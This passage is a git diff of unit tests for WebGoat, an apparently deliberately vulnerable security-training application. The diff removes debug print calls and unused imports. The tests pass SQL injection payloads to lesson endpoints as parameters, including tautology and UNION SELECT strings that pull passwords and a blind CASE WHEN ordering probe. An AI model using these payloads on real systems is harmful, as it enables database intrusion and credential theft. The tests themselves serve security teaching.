+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
     }
@@ -76,7 +75,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
                 .header("webgoat-requested-by","wrong-value")
                 .param("param1", "22")
                 .param("param2", "20"))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
     }
 
diff --git a/webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequestTest.java b/webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequestTest.java
index ae32edacb..b213cba1e 100644
--- a/webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequestTest.java
+++ b/webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequestTest.java
@@ -33,7 +33,6 @@ import org.mockito.runners.MockitoJUnitRunner;
 import org.owasp.webgoat.assignments.AssignmentEndpointTest;
 import org.springframework.test.web.servlet.MockMvc;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 
 import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
 import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@@ -56,7 +55,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
         mockMvc.perform(MockMvcRequestBuilders.get("/challenge/1")
                 .header("x-request-intercepted", "true")
                 .param("changeMe", "Requests are tampered easily"))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
     }
@@ -66,7 +65,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
         mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
                 .header("x-request-intercepted", "false")
                 .param("changeMe", "Requests are tampered easily"))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.failure"))))
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
     }
diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionACUsersTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionACUsersTest.java
index de8d13e31..a0e492d2d 100644
--- a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionACUsersTest.java
+++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionACUsersTest.java
@@ -6,15 +6,11 @@ import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.Mock;
 import org.mockito.runners.MockitoJUnitRunner;
-import org.owasp.webgoat.lessons.AbstractLesson;
-import org.owasp.webgoat.service.HintService;
-import org.owasp.webgoat.session.WebSession;
 import org.owasp.webgoat.users.UserService;
 import org.owasp.webgoat.users.WebGoatUser;
 import org.springframework.test.util.ReflectionTestUtils;
 import org.springframework.test.web.servlet.MockMvc;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -28,10 +24,6 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
 public class MissingFunctionACUsersTest {
     private MockMvc mockMvc;
     @Mock
-    private WebSession websession;
-    @Mock
-    private AbstractLesson lesson;
-    @Mock
     private UserService userService;
 
     @Before
@@ -46,7 +38,6 @@ public class MissingFunctionACUsersTest {
     public void TestContentTypeApplicationJSON () throws  Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/users")
                 .header("Content-type","application/json"))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$[0].username", CoreMatchers.is("user1")))
                 .andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")))
diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionYourHashTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionYourHashTest.java
index 2c5350d30..43a0c5133 100644
--- a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionYourHashTest.java
+++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/plugin/MissingFunctionYourHashTest.java
@@ -43,7 +43,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
     public void HashDoesNotMatch() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
                 .param("userHash", "42"))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
     }
@@ -52,7 +52,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
     public void hashMatches() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
                 .param("userHash", "2340928sadfajsdalsNfwrBla="))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+                .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
                 .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
     }
diff --git a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson5aTest.java b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson5aTest.java
index 4c544c17c..d180ca0af 100644
--- a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson5aTest.java
+++ b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson5aTest.java
@@ -8,7 +8,6 @@ import org.owasp.webgoat.session.WebgoatContext;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 import org.springframework.test.web.servlet.setup.MockMvcBuilders;
 
 import static org.hamcrest.CoreMatchers.containsString;
@@ -39,7 +38,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
     public void knownAccountShouldDisplayData() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
                 .param("account", "Smith"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
@@ -50,7 +49,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
     public void unknownAccount() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
                 .param("account", "Smithh"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
@@ -61,7 +60,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
     public void sqlInjection() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
                 .param("account", "smith' OR '1' = '1"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("lessonCompleted", is(true)))
                 .andExpect(jsonPath("$.feedback", containsString("You have succeed")))
@@ -72,7 +71,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
     public void sqlInjectionWrongShouldDisplayError() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
                 .param("account", "smith' OR '1' = '1'"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
diff --git a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6aTest.java b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6aTest.java
index be735f9c0..3500b8efa 100644
--- a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6aTest.java
+++ b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6aTest.java
@@ -32,7 +32,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
     public void wrongSolution() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
                 .param("userid_6a", "John"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", is(false)));
     }
@@ -41,7 +41,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
     public void wrongNumberOfColumns() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
                 .param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
@@ -51,7 +51,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
     public void wrongDataTypeOfColumns() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
                 .param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
@@ -61,7 +61,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
     public void correctSolution() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
                 .param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", is(true)))
                 .andExpect(jsonPath("$.feedback", containsString("dave")));
@@ -71,7 +71,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
     public void noResultsReturned() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
                 .param("userid_6a", "Smith' and 1 = 2 --"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.lessonCompleted", is(false)))
                 .andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
diff --git a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6bTest.java b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6bTest.java
index 394d5baa9..a7abd0d61 100644
--- a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6bTest.java
+++ b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/introduction/SqlInjectionLesson6bTest.java
@@ -31,7 +31,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
     public void submitCorrectPassword() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
                 .param("userid_6b", "dave"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
     }
 
@@ -39,7 +39,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
     public void submitWrongPassword() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
                 .param("userid_6b", "John"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
     }
 
diff --git a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionLesson12aTest.java b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionLesson12aTest.java
index 70e42cfcb..6e089f236 100644
--- a/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionLesson12aTest.java
+++ b/webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionLesson12aTest.java
@@ -40,7 +40,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void knownAccountShouldDisplayData() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
                 .param("column", "id"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk());
     }
 
@@ -48,7 +48,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void trueShouldSortByHostname() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
                 .param("column", "(case when (true) then hostname else id end)"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
     }
@@ -57,7 +57,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void falseShouldSortById() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
                 .param("column", "(case when (true) then hostname else id end)"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
     }
@@ -66,7 +66,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void passwordIncorrectShouldOrderByHostname() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
                 .param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
     }
 
@@ -74,7 +74,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void passwordCorrectShouldOrderByHostname() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
                 .param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
     }
 
@@ -82,7 +82,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
                 .param("ip", "104.130.219.202"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
     }
 
@@ -90,7 +90,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
     public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
                 .param("ip", "192.168.219.202"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
     }
 }
\ No newline at end of file
diff --git a/webgoat-lessons/vulnerable-components/src/test/java/org/owasp/webgoat/plugin/VulnerableComponentsLessonTest.java b/webgoat-lessons/vulnerable-components/src/test/java/org/owasp/webgoat/plugin/VulnerableComponentsLessonTest.java
index 6fea21f91..cd23cb8a5 100644
--- a/webgoat-lessons/vulnerable-components/src/test/java/org/owasp/webgoat/plugin/VulnerableComponentsLessonTest.java
+++ b/webgoat-lessons/vulnerable-components/src/test/java/org/owasp/webgoat/plugin/VulnerableComponentsLessonTest.java
@@ -53,7 +53,7 @@ public class VulnerableComponentsLessonTest extends AssignmentEndpointTest {
     @Test
     public void success() throws Exception {
 //        mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test"))
-//                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
+//                .andExpect(status().isOk())
 //                .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
 //                .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
     }
diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
index 7d00a692d..c78293daf 100644
--- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
+++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
@@ -13,7 +13,6 @@ import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 import org.springframework.test.web.servlet.setup.MockMvcBuilders;
 
 import java.io.File;
@@ -53,7 +52,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
         int nrOfComments = comments.getComments().size();
         mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
                 .content("test"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
         assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
@@ -63,7 +62,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
     public void wrongXmlShouldGiveErrorBack() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
                 .content("test"))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
                 .andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
@@ -91,7 +90,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
         //Call with XXE injection
         mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
                 .content(xml))
-                .andDo(MockMvcResultHandlers.print())
+
                 .andExpect(status().isOk())
                 .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));